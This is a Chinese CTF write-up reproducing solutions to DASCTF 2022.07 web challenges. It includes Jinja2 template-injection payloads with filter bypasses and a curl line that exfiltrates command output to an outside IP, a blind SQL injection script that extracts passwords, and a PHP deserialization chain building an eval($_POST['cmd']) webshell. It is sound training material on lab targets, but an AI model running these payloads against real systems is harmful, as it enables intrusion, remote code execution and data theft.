DASCTF2022.07赋能赛复现 | 字数总计: 2.3k | 阅读时长: 11分钟 | 阅读量:
DASCTF2022.07赋能赛复现 [toc]
Ez to getflag 会检查上传的文件的内容,不能存在php,可以使用短标签绕过,但是不知道文件上传的存放路径。
本来以为是文件上传,但是没想到是任意文件读取!!!
Harddisk fuzz,过滤了很多的关键词
其中大括号可以使用{%print(......)%}
或{% if ... %}1{% endif %}
的形式来代替,而print被过滤,所以用后者
根据过滤信息,[]
,点
,class
等关键词都被过滤,所以使用attr和unicode编码进行绕过
1 2 3 {%if ("" .__class__)%}555 {%endif%} {%if ("" |attr("__class__" ))%}555 {%endif%} {%if ("" |attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f" ))%}555 {%endif%}
如果执行成功,回显555
因为只能根据是否回显555来判断,相当于盲注,所以用自动化脚本来判断寻找可以用的类
1 2 3 {%if ("" |attr("__class__" )|attr("__base__" )|attr("__subclasses__" )()|attr("__getitem__" )(xx)|attr("__init__" )|attr("__globals__" )|attr("__getitem__" )("popen" ))%}555 {%endif%} {%if ("" |attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f" )|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f" )|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f" )()|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f" )(132 )|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f" )|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f" )|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f" )("\u0070\u006f\u0070\u0065\u006e" ))%}555 {%endif%}
进行爆破,得到132
因为不能回显,所以使用外带命令实现
1 2 3 {%if ("" |attr("__class__" )|attr("__base__" )|attr("__subclasses__" )()|attr("__getitem__" )(xx)|attr("__init__" )|attr("__globals__" )|attr("__getitem__" )("popen" )("curl 116.62.240.148:7011 -d " `ls /`"" )|attr("read" )())%}555 {%endif%} {%if ("" |attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f" )|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f" )|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f" )()|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f" )(132 )|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f" )|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f" )|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f" )("\u0070\u006f\u0070\u0065\u006e" )("\u0063\u0075\u0072\u006c\u0020\u0031\u0031\u0036\u002e\u0036\u0032\u002e\u0032\u0034\u0030\u002e\u0031\u0034\u0038\u003a\u0037\u0030\u0031\u0031" )|attr("\u0072\u0065\u0061\u0064" )())%}555 {%endif%}
不知道是不是题目环境问题,curl有时候行,有时候不行,有时候销毁靶机之后就会像下面这样忽然出现一大堆的请求(真神奇)
而后销毁又申请环境好多次,尝试无果。。。
绝对防御 JSFinder:查找隐藏在js文件中的api 接口和敏感目录,以及一些子域名
1 python JSFinder.py -u http://badcc3c9-4df2-4c54-a430-bc7c8b122353.node4.buuoj.cn:81 /
扫描结果
访问SUPPERAPI.php,查看源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <script> function getQueryVariable (variable ){ var query = window .location .search .substring (1 ); var vars = query.split ("&" ); for (var i=0 ;i<vars.length ;i++) { var pair = vars[i].split ("=" ); if (pair[0 ] == variable){return pair[1 ];} } return (false ); } function check ( ){ var reg = /[`~!@#$%^&*()_+<>?:"{},.\/;'[\]]/im ; if (reg.test (getQueryVariable ("id" ))) { alert ("提示:您输入的信息含有非法字符!" ); window .location .href = "/" } } check ()</script>
window.location.search.substring(1)
功能为获取当前页面GET方式请求?后的指定参数
这段代码的意思大概为传递调用getQueryVariable,参数为id,该函数中获取?后的请求参数
,用&
分割,用=
分割,取前者,也就是变量名,并将该变量名和id
进行对比,成功则返回pair[1]
所以要传递变量id,但是接下来怎么利用不清楚,根据官方wp,这里用id进行sql盲注(防护不用管,是前端的防护,直接写脚本就可以)
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import requestsflag = '' url = "http://badcc3c9-4df2-4c54-a430-bc7c8b122353.node4.buuoj.cn:81/SUPPERAPI.php?" for j in range (0 ,50 ): print ("j=" +str (j)) for i in range (35 ,128 ): payload = "id=1 and ascii(substr(database()," +str (j)+",1))=" +str (i) payload = "id=1 and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database())," + str (j) + ",1))=" + str (i) payload = "id=1 and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='users')," + str (j) + ",1))=" + str (i) payload = "id=1 and ascii(substr((select password from users where id=2)," + str (j) + ",1))=" + str (i) response = requests.get(url+payload) if r"admin" in response.text: flag += chr (i) print ("flag=" +flag) break
Newser 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 <?php class User { protected $_password ; protected $_username ; private $username ; private $password ; private $email ; private $instance ; public function __construct ($username ,$password ,$email ) { $this ->email = $email ; $this ->username = $username ; $this ->password = $password ; $this ->instance = $this ; } public function getEmail ( ) { return $this ->email; } public function getPassword ( ) { return $this ->password; } public function getUsername ( ) { return $this ->username; } public function __sleep ( ) { $this ->_password = md5 ($this ->password); $this ->_username = base64_encode ($this ->username); return ['_username' ,'_password' , 'email' ,'instance' ]; } public function __wakeup ( ) { $this ->password = $this ->_password; } public function __destruct ( ) { echo "User " .$this ->instance->_username." has created." ; } } User bWlubmllLndlaW1hbm4= has created.
对cookie进行base64解码
1 O:4 :"User" :4 :{s:12 :"*_username" ;s:12 :"ZGVyZWswNQ==" ;s:12 :"*_password" ;s:32 :"03a83270035a975b5150954956db1a46" ;s:11 :"Useremail" ;s:17 :"levi87@barton.com" ;s:14 :"Userinstance" ;r:1 ;}
cookie是User类对象的序列化
而页面回显的User ZGVyZWswNQ== has created.
表示__destruct
方法被调用,找反序列化利用链
composer.json泄露 1 2 3 4 5 6 { "require" : { "fakerphp/faker" : "^1.19" , "opis/closure" : "^3.6" } }
对于fakerphp这个依赖,他的Generator类,是主要的类,生成不存在的属性时都通过format方法,这个方法中存在call_user_func_array 的调用
关键的函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public function __get ($attribute ) { trigger_deprecation ('fakerphp/faker' , '1.14' , 'Accessing property "%s" is deprecated, use "%s()" instead.' , $attribute , $attribute ); return $this ->format ($attribute ); } public function format ($format , $arguments = [] ) { return call_user_func_array ($this ->getFormatter ($format ), $arguments ); } public function __wakeup ( ) { $this ->formatters = []; } public function getFormatter ($format ) { if (isset ($this ->formatters[$format ])) { return $this ->formatters[$format ]; }
注意Faker\Generator类中有一个__wakeup
方法,会将formatters
的值替换为空,所以无论我们刚开始对formatters赋值的是什么,都会在__wakeup
这里将其替换为空数组
1 2 3 4 public function __wakeup ( ) { $this ->formatters = []; }
官方wp中,这里用的是php引用
来绕过,比较关键的是该引用语句执行在 Generator类的__wakeup 后
因为不是很理解,所以本地调试一下,设置了formatters的两种情况
php引用 当其为地址时,在Faker\Generator
的wakeup执行前,这个formatters为null,wakeup执行后,其变为空数组
而在User类的wakeup执行后,这个formatters变为了["_username"=>"phpinfo"]
这是一个很有趣的现象,这就导致了wakeup方法的防护是无用的,可以通过php引用对对象任意赋值
非php引用情况下 1 2 3 4 5 public function __construct ($obj ) { $this ->formatters = ["_username" =>"phpinfo" ]; }
虽然Faker\Generator
类对象在wakeup函数执行前,formatters为["_username"=>"phpinfo"]
,但是在wakeup函数执行后,还是被修改为了空数组
并且因为没有使用php引用,所以formatters始终为空数组
exp分析 这里分析一下调用phpinfo()的原理,__get
方法中参数为__username
,然后一路传参,在最后call_user_func_array($this->getFormatter($format), $arguments);
那里,第一个参数就是phpinfo
,而第二个参数为空,所以就是调用phpinfo
调用非phpinfo函数
因为我们是通过__get 传入的,传入函数的参数不可控,phpinfo不需要参数,所以调用了。如果想要只控制函数,造成任意代码执行,可以使用反序列化闭包,这在之前也是有考过的。直接包含closure依赖中的autoload.php
整个过程中调试的代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 <?php namespace { class User { private $instance ; public $password ; private $_password ; public function __construct ( ) { $this ->instance = new Faker\Generator ($this ); $func = function ( ) {eval ($_POST ['cmd' ]);}; require 'vendor\opis\closure\autoload.php' ; $b =Opis\Closure \serialize ($func ); $c =unserialize ($b ); $this ->_password = ["_username" =>$c ]; } public function __wakeup ( ) { echo 1 ; $this ->password = $this ->_password; } public function __destruct ( ) { echo "User " .$this ->instance->_username." has created." ; } } $str1 = str_replace ('s:8:"password"' ,urldecode ("s%3A14%3A%22%00User%00password%22" ),serialize (new User ())); var_dump (base64_encode ($str1 )); unserialize ($str1 ); } namespace Faker { class Generator { private $formatters ; public function __construct ($obj ) { $this ->formatters = &$obj ->password; } public function __get ($attribute ) { return $this ->format ($attribute ); } public function format ($format , $arguments = [] ) { return call_user_func_array ($this ->getFormatter ($format ), $arguments ); } public function __wakeup ( ) { echo 2 ; $this ->formatters = []; } public function getFormatter ($format ) { if (isset ($this ->formatters[$format ])) { return $this ->formatters[$format ]; } } } }
总结 最后的Newser的php引用
学到了,而包含closure依赖中的autoload.php
那里还不清楚原理,要继续学一下。